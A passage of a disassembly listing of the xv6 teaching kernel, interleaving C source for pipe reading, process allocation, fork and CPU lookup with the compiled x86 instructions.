wakeup(&p->nread); //DOC: pipewrite-wakeup1
release(&p->lock);
return n;
}
8010344f: 8b 45 10 mov 0x10(%ebp),%eax
80103452: 83 c4 2c add $0x2c,%esp
80103455: 5b pop %ebx
80103456: 5e pop %esi
80103457: 5f pop %edi
80103458: 5d pop %ebp
80103459: c3 ret
8010345a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103460 <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
80103460: 55 push %ebp
80103461: 89 e5 mov %esp,%ebp
80103463: 57 push %edi
80103464: 56 push %esi
80103465: 53 push %ebx
80103466: 83 ec 1c sub $0x1c,%esp
80103469: 8b 5d 08 mov 0x8(%ebp),%ebx
8010346c: 8b 7d 10 mov 0x10(%ebp),%edi
int i;
acquire(&p->lock);
8010346f: 89 1c 24 mov %ebx,(%esp)
80103472: e8 09 0e 00 00 call 80104280 <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
80103477: 8b 93 34 02 00 00 mov 0x234(%ebx),%edx
8010347d: 3b 93 38 02 00 00 cmp 0x238(%ebx),%edx
80103483: 75 5b jne 801034e0 <piperead+0x80>
80103485: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
8010348b: 85 c0 test %eax,%eax
8010348d: 74 51 je 801034e0 <piperead+0x80>
if(myproc()->killed){
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
8010348f: 8d b3 34 02 00 00 lea 0x234(%ebx),%esi
80103495: eb 25 jmp 801034bc <piperead+0x5c>
80103497: 90 nop
80103498: 89 5c 24 04 mov %ebx,0x4(%esp)
8010349c: 89 34 24 mov %esi,(%esp)
8010349f: e8 ec 07 00 00 call 80103c90 <sleep>
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
801034a4: 8b 93 34 02 00 00 mov 0x234(%ebx),%edx
801034aa: 3b 93 38 02 00 00 cmp 0x238(%ebx),%edx
801034b0: 75 2e jne 801034e0 <piperead+0x80>
801034b2: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax
801034b8: 85 c0 test %eax,%eax
801034ba: 74 24 je 801034e0 <piperead+0x80>
if(myproc()->killed){
801034bc: e8 6f 02 00 00 call 80103730 <myproc>
801034c1: 8b 40 24 mov 0x24(%eax),%eax
801034c4: 85 c0 test %eax,%eax
801034c6: 74 d0 je 80103498 <piperead+0x38>
release(&p->lock);
801034c8: 89 1c 24 mov %ebx,(%esp)
return -1;
801034cb: be ff ff ff ff mov $0xffffffff,%esi
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
if(myproc()->killed){
release(&p->lock);
801034d0: e8 1b 0e 00 00 call 801042f0 <release>
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
release(&p->lock);
return i;
}
801034d5: 83 c4 1c add $0x1c,%esp
801034d8: 89 f0 mov %esi,%eax
801034da: 5b pop %ebx
801034db: 5e pop %esi
801034dc: 5f pop %edi
801034dd: 5d pop %ebp
801034de: c3 ret
801034df: 90 nop
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801034e0: 31 f6 xor %esi,%esi
801034e2: 85 ff test %edi,%edi
801034e4: 7e 39 jle 8010351f <piperead+0xbf>
if(p->nread == p->nwrite)
801034e6: 3b 93 38 02 00 00 cmp 0x238(%ebx),%edx
801034ec: 74 31 je 8010351f <piperead+0xbf>
release(&p->lock);
return n;
}
int
piperead(struct pipe *p, char *addr, int n)
801034ee: 8b 4d 0c mov 0xc(%ebp),%ecx
801034f1: 29 d1 sub %edx,%ecx
801034f3: eb 0b jmp 80103500 <piperead+0xa0>
801034f5: 8d 76 00 lea 0x0(%esi),%esi
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
if(p->nread == p->nwrite)
801034f8: 39 93 38 02 00 00 cmp %edx,0x238(%ebx)
801034fe: 74 1f je 8010351f <piperead+0xbf>
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
80103500: 89 d0 mov %edx,%eax
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103502: 83 c6 01 add $0x1,%esi
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
80103505: 25 ff 01 00 00 and $0x1ff,%eax
8010350a: 0f b6 44 03 34 movzbl 0x34(%ebx,%eax,1),%eax
8010350f: 88 04 11 mov %al,(%ecx,%edx,1)
80103512: 83 c2 01 add $0x1,%edx
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
80103515: 39 fe cmp %edi,%esi
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
80103517: 89 93 34 02 00 00 mov %edx,0x234(%ebx)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
8010351d: 75 d9 jne 801034f8 <piperead+0x98>
if(p->nread == p->nwrite)
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
8010351f: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax
80103525: 89 04 24 mov %eax,(%esp)
80103528: e8 03 09 00 00 call 80103e30 <wakeup>
release(&p->lock);
8010352d: 89 1c 24 mov %ebx,(%esp)
80103530: e8 bb 0d 00 00 call 801042f0 <release>
return i;
}
80103535: 83 c4 1c add $0x1c,%esp
80103538: 89 f0 mov %esi,%eax
8010353a: 5b pop %ebx
8010353b: 5e pop %esi
8010353c: 5f pop %edi
8010353d: 5d pop %ebp
8010353e: c3 ret
...
80103540 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80103540: 55 push %ebp
80103541: 89 e5 mov %esp,%ebp
80103543: 53 push %ebx
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103544: bb 54 2d 11 80 mov $0x80112d54,%ebx
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80103549: 83 ec 14 sub $0x14,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
8010354c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103553: e8 28 0d 00 00 call 80104280 <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
80103558: 8b 15 60 2d 11 80 mov 0x80112d60,%edx
8010355e: 85 d2 test %edx,%edx
80103560: 74 18 je 8010357a <allocproc+0x3a>
80103562: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103568: 83 c3 7c add $0x7c,%ebx
8010356b: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx
80103571: 73 7d jae 801035f0 <allocproc+0xb0>
if(p->state == UNUSED)
80103573: 8b 43 0c mov 0xc(%ebx),%eax
80103576: 85 c0 test %eax,%eax
80103578: 75 ee jne 80103568 <allocproc+0x28>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
8010357a: a1 00 a0 10 80 mov 0x8010a000,%eax
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
8010357f: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
80103586: 89 43 10 mov %eax,0x10(%ebx)
80103589: 83 c0 01 add $0x1,%eax
8010358c: a3 00 a0 10 80 mov %eax,0x8010a000
release(&ptable.lock);
80103591: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103598: e8 53 0d 00 00 call 801042f0 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
8010359d: e8 0e ef ff ff call 801024b0 <kalloc>
801035a2: 85 c0 test %eax,%eax
801035a4: 89 43 08 mov %eax,0x8(%ebx)
801035a7: 74 5d je 80103606 <allocproc+0xc6>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
801035a9: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
801035af: 89 53 18 mov %edx,0x18(%ebx)
p->tf = (struct trapframe*)sp;
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
801035b2: c7 80 b0 0f 00 00 08 movl $0x80105508,0xfb0(%eax)
801035b9: 55 10 80
sp -= sizeof *p->context;
801035bc: 05 9c 0f 00 00 add $0xf9c,%eax
p->context = (struct context*)sp;
801035c1: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
801035c4: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
801035cb: 00
801035cc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801035d3: 00
801035d4: 89 04 24 mov %eax,(%esp)
801035d7: e8 64 0d 00 00 call 80104340 <memset>
p->context->eip = (uint)forkret;
801035dc: 8b 43 1c mov 0x1c(%ebx),%eax
801035df: c7 40 10 20 36 10 80 movl $0x80103620,0x10(%eax)
return p;
}
801035e6: 83 c4 14 add $0x14,%esp
801035e9: 89 d8 mov %ebx,%eax
801035eb: 5b pop %ebx
801035ec: 5d pop %ebp
801035ed: c3 ret
801035ee: 66 90 xchg %ax,%ax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
801035f0: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
return 0;
801035f7: 31 db xor %ebx,%ebx
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
801035f9: e8 f2 0c 00 00 call 801042f0 <release>
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
p->context->eip = (uint)forkret;
return p;
}
801035fe: 83 c4 14 add $0x14,%esp
80103601: 89 d8 mov %ebx,%eax
80103603: 5b pop %ebx
80103604: 5d pop %ebp
80103605: c3 ret
release(&ptable.lock);
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
p->state = UNUSED;
80103606: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
8010360d: 31 db xor %ebx,%ebx
8010360f: eb d5 jmp 801035e6 <allocproc+0xa6>
80103611: eb 0d jmp 80103620 <forkret>
80103613: 90 nop
80103614: 90 nop
80103615: 90 nop
80103616: 90 nop
80103617: 90 nop
80103618: 90 nop
80103619: 90 nop
8010361a: 90 nop
8010361b: 90 nop
8010361c: 90 nop
8010361d: 90 nop
8010361e: 90 nop
8010361f: 90 nop
80103620 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80103620: 55 push %ebp
80103621: 89 e5 mov %esp,%ebp
80103623: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
80103626: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
8010362d: e8 be 0c 00 00 call 801042f0 <release>
if (first) {
80103632: 8b 0d 04 a0 10 80 mov 0x8010a004,%ecx
80103638: 85 c9 test %ecx,%ecx
8010363a: 75 04 jne 80103640 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
8010363c: c9 leave
8010363d: c3 ret
8010363e: 66 90 xchg %ax,%ax
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
iinit(ROOTDEV);
80103640: c7 04 24 01 00 00 00 movl $0x1,(%esp)
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80103647: c7 05 04 a0 10 80 00 movl $0x0,0x8010a004
8010364e: 00 00 00
iinit(ROOTDEV);
80103651: e8 0a de ff ff call 80101460 <iinit>
initlog(ROOTDEV);
80103656: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010365d: e8 6e f4 ff ff call 80102ad0 <initlog>
}
// Return to "caller", actually trapret (see allocproc).
}
80103662: c9 leave
80103663: c3 ret
80103664: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010366a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103670 <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
80103670: 55 push %ebp
80103671: 89 e5 mov %esp,%ebp
80103673: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
80103676: c7 44 24 04 85 72 10 movl $0x80107285,0x4(%esp)
8010367d: 80
8010367e: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103685: e8 86 0a 00 00 call 80104110 <initlock>
}
8010368a: c9 leave
8010368b: c3 ret
8010368c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103690 <mycpu>:
// Must be called with interrupts disabled to avoid the caller being
// rescheduled between reading lapicid and running through the loop.
struct cpu*
mycpu(void)
{
80103690: 55 push %ebp
80103691: 89 e5 mov %esp,%ebp
80103693: 56 push %esi
80103694: 53 push %ebx
80103695: 83 ec 10 sub $0x10,%esp
static inline uint
readeflags(void)
{
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103698: 9c pushf
80103699: 58 pop %eax
int apicid, i;
if(readeflags()&FL_IF)
8010369a: f6 c4 02 test $0x2,%ah
8010369d: 75 57 jne 801036f6 <mycpu+0x66>
panic("mycpu called with interrupts enabled\n");
apicid = lapicid();
8010369f: e8 4c f0 ff ff call 801026f0 <lapicid>
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
801036a4: 8b 35 00 2d 11 80 mov 0x80112d00,%esi
801036aa: 85 f6 test %esi,%esi
801036ac: 7e 3c jle 801036ea <mycpu+0x5a>
if (cpus[i].apicid == apicid)
801036ae: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx
801036b5: 39 c2 cmp %eax,%edx
801036b7: 74 2d je 801036e6 <mycpu+0x56>
return &cpus[i];
801036b9: b9 30 28 11 80 mov $0x80112830,%ecx
panic("mycpu called with interrupts enabled\n");
apicid = lapicid();
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
801036be: 31 d2 xor %edx,%edx
801036c0: 83 c2 01 add $0x1,%edx
801036c3: 39 f2 cmp %esi,%edx
801036c5: 74 23 je 801036ea <mycpu+0x5a>
if (cpus[i].apicid == apicid)
801036c7: 0f b6 19 movzbl (%ecx),%ebx
801036ca: 81 c1 b0 00 00 00 add $0xb0,%ecx
801036d0: 39 c3 cmp %eax,%ebx
801036d2: 75 ec jne 801036c0 <mycpu+0x30>
return &cpus[i];
801036d4: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax
}
panic("unknown apicid\n");
}
801036da: 83 c4 10 add $0x10,%esp
801036dd: 5b pop %ebx
801036de: 5e pop %esi
801036df: 5d pop %ebp
apicid = lapicid();
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
return &cpus[i];
801036e0: 05 80 27 11 80 add $0x80112780,%eax
}
panic("unknown apicid\n");
}
801036e5: c3 ret
apicid = lapicid();
// APIC IDs are not guaranteed to be contiguous. Maybe we should have
// a reverse map, or reserve a register to store &cpus[i].
for (i = 0; i < ncpu; ++i) {
if (cpus[i].apicid == apicid)
801036e6: 31 d2 xor %edx,%edx
801036e8: eb ea jmp 801036d4 <mycpu+0x44>
return &cpus[i];
}
panic("unknown apicid\n");
801036ea: c7 04 24 8c 72 10 80 movl $0x8010728c,(%esp)
801036f1: e8 7a cc ff ff call 80100370 <panic>
mycpu(void)
{
int apicid, i;
if(readeflags()&FL_IF)
panic("mycpu called with interrupts enabled\n");
801036f6: c7 04 24 68 73 10 80 movl $0x80107368,(%esp)
801036fd: e8 6e cc ff ff call 80100370 <panic>
80103702: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103710 <cpuid>:
initlock(&ptable.lock, "ptable");
}
// Must be called with interrupts disabled
int
cpuid() {
80103710: 55 push %ebp
80103711: 89 e5 mov %esp,%ebp
80103713: 83 ec 08 sub $0x8,%esp
return mycpu()-cpus;
80103716: e8 75 ff ff ff call 80103690 <mycpu>
}
8010371b: c9 leave
}
// Must be called with interrupts disabled
int
cpuid() {
return mycpu()-cpus;
8010371c: 2d 80 27 11 80 sub $0x80112780,%eax
80103721: c1 f8 04 sar $0x4,%eax
80103724: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax
}
8010372a: c3 ret
8010372b: 90 nop
8010372c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103730 <myproc>:
}
// Disable interrupts so that we are not rescheduled
// while reading proc from the cpu structure
struct proc*
myproc(void) {
80103730: 55 push %ebp
80103731: 89 e5 mov %esp,%ebp
80103733: 53 push %ebx
80103734: 83 ec 04 sub $0x4,%esp
struct cpu *c;
struct proc *p;
pushcli();
80103737: e8 54 0a 00 00 call 80104190 <pushcli>
c = mycpu();
8010373c: e8 4f ff ff ff call 80103690 <mycpu>
p = c->proc;
80103741: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103747: e8 84 0a 00 00 call 801041d0 <popcli>
return p;
}
8010374c: 83 c4 04 add $0x4,%esp
8010374f: 89 d8 mov %ebx,%eax
80103751: 5b pop %ebx
80103752: 5d pop %ebp
80103753: c3 ret
80103754: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010375a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103760 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
80103760: 55 push %ebp
80103761: 89 e5 mov %esp,%ebp
80103763: 53 push %ebx
80103764: 83 ec 14 sub $0x14,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
80103767: e8 d4 fd ff ff call 80103540 <allocproc>
8010376c: 89 c3 mov %eax,%ebx
initproc = p;
8010376e: a3 a0 a5 10 80 mov %eax,0x8010a5a0
if((p->pgdir = setupkvm()) == 0)
80103773: e8 48 33 00 00 call 80106ac0 <setupkvm>
80103778: 85 c0 test %eax,%eax
8010377a: 89 43 04 mov %eax,0x4(%ebx)
8010377d: 0f 84 ce 00 00 00 je 80103851 <userinit+0xf1>
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80103783: 89 04 24 mov %eax,(%esp)
80103786: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp)
8010378d: 00
8010378e: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp)
80103795: 80
80103796: e8 85 2f 00 00 call 80106720 <inituvm>
p->sz = PGSIZE;
8010379b: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
801037a1: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
801037a8: 00
801037a9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801037b0: 00
801037b1: 8b 43 18 mov 0x18(%ebx),%eax
801037b4: 89 04 24 mov %eax,(%esp)
801037b7: e8 84 0b 00 00 call 80104340 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801037bc: 8b 43 18 mov 0x18(%ebx),%eax
801037bf: 66 c7 40 3c 1b 00 movw $0x1b,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801037c5: 8b 43 18 mov 0x18(%ebx),%eax
801037c8: 66 c7 40 2c 23 00 movw $0x23,0x2c(%eax)
p->tf->es = p->tf->ds;
801037ce: 8b 43 18 mov 0x18(%ebx),%eax
801037d1: 0f b7 50 2c movzwl 0x2c(%eax),%edx
801037d5: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
801037d9: 8b 43 18 mov 0x18(%ebx),%eax
801037dc: 0f b7 50 2c movzwl 0x2c(%eax),%edx
801037e0: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
801037e4: 8b 43 18 mov 0x18(%ebx),%eax
801037e7: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
801037ee: 8b 43 18 mov 0x18(%ebx),%eax
801037f1: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
801037f8: 8b 43 18 mov 0x18(%ebx),%eax
801037fb: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
80103802: 8d 43 6c lea 0x6c(%ebx),%eax
80103805: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
8010380c: 00
8010380d: c7 44 24 04 b5 72 10 movl $0x801072b5,0x4(%esp)
80103814: 80
80103815: 89 04 24 mov %eax,(%esp)
80103818: e8 13 0d 00 00 call 80104530 <safestrcpy>
p->cwd = namei("/");
8010381d: c7 04 24 be 72 10 80 movl $0x801072be,(%esp)
80103824: e8 47 e7 ff ff call 80101f70 <namei>
80103829: 89 43 68 mov %eax,0x68(%ebx)
// this assignment to p->state lets other cores
// run this process. the acquire forces the above
// writes to be visible, and the lock is also needed
// because the assignment might not be atomic.
acquire(&ptable.lock);
8010382c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103833: e8 48 0a 00 00 call 80104280 <acquire>
p->state = RUNNABLE;
80103838: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
8010383f: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp)
80103846: e8 a5 0a 00 00 call 801042f0 <release>
}
8010384b: 83 c4 14 add $0x14,%esp
8010384e: 5b pop %ebx
8010384f: 5d pop %ebp
80103850: c3 ret
p = allocproc();
initproc = p;
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
80103851: c7 04 24 9c 72 10 80 movl $0x8010729c,(%esp)
80103858: e8 13 cb ff ff call 80100370 <panic>
8010385d: 8d 76 00 lea 0x0(%esi),%esi
80103860 <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
80103860: 55 push %ebp
80103861: 89 e5 mov %esp,%ebp
80103863: 83 ec 18 sub $0x18,%esp
80103866: 89 5d f8 mov %ebx,-0x8(%ebp)
80103869: 89 75 fc mov %esi,-0x4(%ebp)
8010386c: 8b 75 08 mov 0x8(%ebp),%esi
uint sz;
struct proc *curproc = myproc();
8010386f: e8 bc fe ff ff call 80103730 <myproc>
sz = curproc->sz;
if(n > 0){
80103874: 83 fe 00 cmp $0x0,%esi
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
uint sz;
struct proc *curproc = myproc();
80103877: 89 c3 mov %eax,%ebx
sz = curproc->sz;
80103879: 8b 10 mov (%eax),%edx
if(n > 0){
8010387b: 7e 3b jle 801038b8 <growproc+0x58>
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
8010387d: 01 d6 add %edx,%esi
8010387f: 89 54 24 04 mov %edx,0x4(%esp)
80103883: 89 74 24 08 mov %esi,0x8(%esp)
80103887: 8b 40 04 mov 0x4(%eax),%eax
8010388a: 89 04 24 mov %eax,(%esp)
8010388d: e8 7e 30 00 00 call 80106910 <allocuvm>
80103892: 89 c2 mov %eax,%edx
return -1;
80103894: b8 ff ff ff ff mov $0xffffffff,%eax
uint sz;
struct proc *curproc = myproc();
sz = curproc->sz;
if(n > 0){
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
80103899: 85 d2 test %edx,%edx
8010389b: 74 0c je 801038a9 <growproc+0x49>
return -1;
} else if(n < 0){
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
return -1;
}
curproc->sz = sz;
8010389d: 89 13 mov %edx,(%ebx)
switchuvm(curproc);
8010389f: 89 1c 24 mov %ebx,(%esp)
801038a2: e8 79 2d 00 00 call 80106620 <switchuvm>
return 0;
801038a7: 31 c0 xor %eax,%eax
}
801038a9: 8b 5d f8 mov -0x8(%ebp),%ebx
801038ac: 8b 75 fc mov -0x4(%ebp),%esi
801038af: 89 ec mov %ebp,%esp
801038b1: 5d pop %ebp
801038b2: c3 ret
801038b3: 90 nop
801038b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sz = curproc->sz;
if(n > 0){
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
return -1;
} else if(n < 0){
801038b8: 74 e3 je 8010389d <growproc+0x3d>
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
801038ba: 01 d6 add %edx,%esi
801038bc: 89 54 24 04 mov %edx,0x4(%esp)
801038c0: 89 74 24 08 mov %esi,0x8(%esp)
801038c4: 8b 40 04 mov 0x4(%eax),%eax
801038c7: 89 04 24 mov %eax,(%esp)
801038ca: e8 a1 2f 00 00 call 80106870 <deallocuvm>
801038cf: 89 c2 mov %eax,%edx
return -1;
801038d1: b8 ff ff ff ff mov $0xffffffff,%eax
sz = curproc->sz;
if(n > 0){
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
return -1;
} else if(n < 0){
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
801038d6: 85 d2 test %edx,%edx
801038d8: 75 c3 jne 8010389d <growproc+0x3d>
801038da: eb cd jmp 801038a9 <growproc+0x49>
801038dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801038e0 <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
801038e0: 55 push %ebp
801038e1: 89 e5 mov %esp,%ebp
801038e3: 57 push %edi
801038e4: 56 push %esi
801038e5: 53 push %ebx
801038e6: 83 ec 2c sub $0x2c,%esp
int i, pid;
struct proc *np;
struct proc *curproc = myproc();
801038e9: e8 42 fe ff ff call 80103730 <myproc>
801038ee: 89 c3 mov %eax,%ebx
// Allocate process.
if((np = allocproc()) == 0){
801038f0: e8 4b fc ff ff call 80103540 <allocproc>
801038f5: 85 c0 test %eax,%eax
801038f7: 89 45 e4 mov %eax,-0x1c(%ebp)
801038fa: 0f 84 c6 00 00 00 je 801039c6 <fork+0xe6>
return -1;
}
// Copy process state from proc.
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
80103900: 8b 03 mov (%ebx),%eax
80103902: 89 44 24 04 mov %eax,0x4(%esp)
80103906: 8b 43 04 mov 0x4(%ebx),%eax
80103909: 89 04 24 mov %eax,(%esp)
8010390c: e8 7f 32 00 00 call 80106b90 <copyuvm>
80103911: 8b 55 e4 mov -0x1c(%ebp),%edx
80103914: 85 c0 test %eax,%eax
80103916: 89 42 04 mov %eax,0x4(%edx)
80103919: 0f 84 ae 00 00 00 je 801039cd <fork+0xed>
kfree(np->kstack);
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = curproc->sz;
8010391f: 8b 03 mov (%ebx),%eax
np->parent = curproc;
*np->tf = *curproc->tf;
80103921: b9 13 00 00 00 mov $0x13,%ecx
kfree(np->kstack);
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = curproc->sz;
80103926: 8b 55 e4 mov -0x1c(%ebp),%edx
80103929: 89 02 mov %eax,(%edx)
np->parent = curproc;
*np->tf = *curproc->tf;
8010392b: 8b 42 18 mov 0x18(%edx),%eax
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = curproc->sz;
np->parent = curproc;
8010392e: 89 5a 14 mov %ebx,0x14(%edx)
*np->tf = *curproc->tf;
80103931: 8b 73 18 mov 0x18(%ebx),%esi
80103934: 89 c7 mov %eax,%edi
80103936: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
80103938: 31 f6 xor %esi,%esi
np->sz = curproc->sz;
np->parent = curproc;
*np->tf = *curproc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
8010393a: 8b 42 18 mov 0x18(%edx),%eax
8010393d: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
80103944: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i = 0; i < NOFILE; i++)
if(curproc->ofile[i])
80103948: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
8010394c: 85 c0 test %eax,%eax
8010394e: 74 0f je 8010395f <fork+0x7f>
np->ofile[i] = filedup(curproc->ofile[i]);
80103950: 89 04 24 mov %eax,(%esp)
80103953: e8 78 d4 ff ff call 80100dd0 <filedup>
80103958: 8b 55 e4 mov -0x1c(%ebp),%edx
8010395b: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4)
*np->tf = *curproc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
8010395f: 83 c6 01 add $0x1,%esi
80103962: 83 fe 10 cmp $0x10,%esi
80103965: 75 e1 jne 80103948 <fork+0x68>
if(curproc->ofile[i])
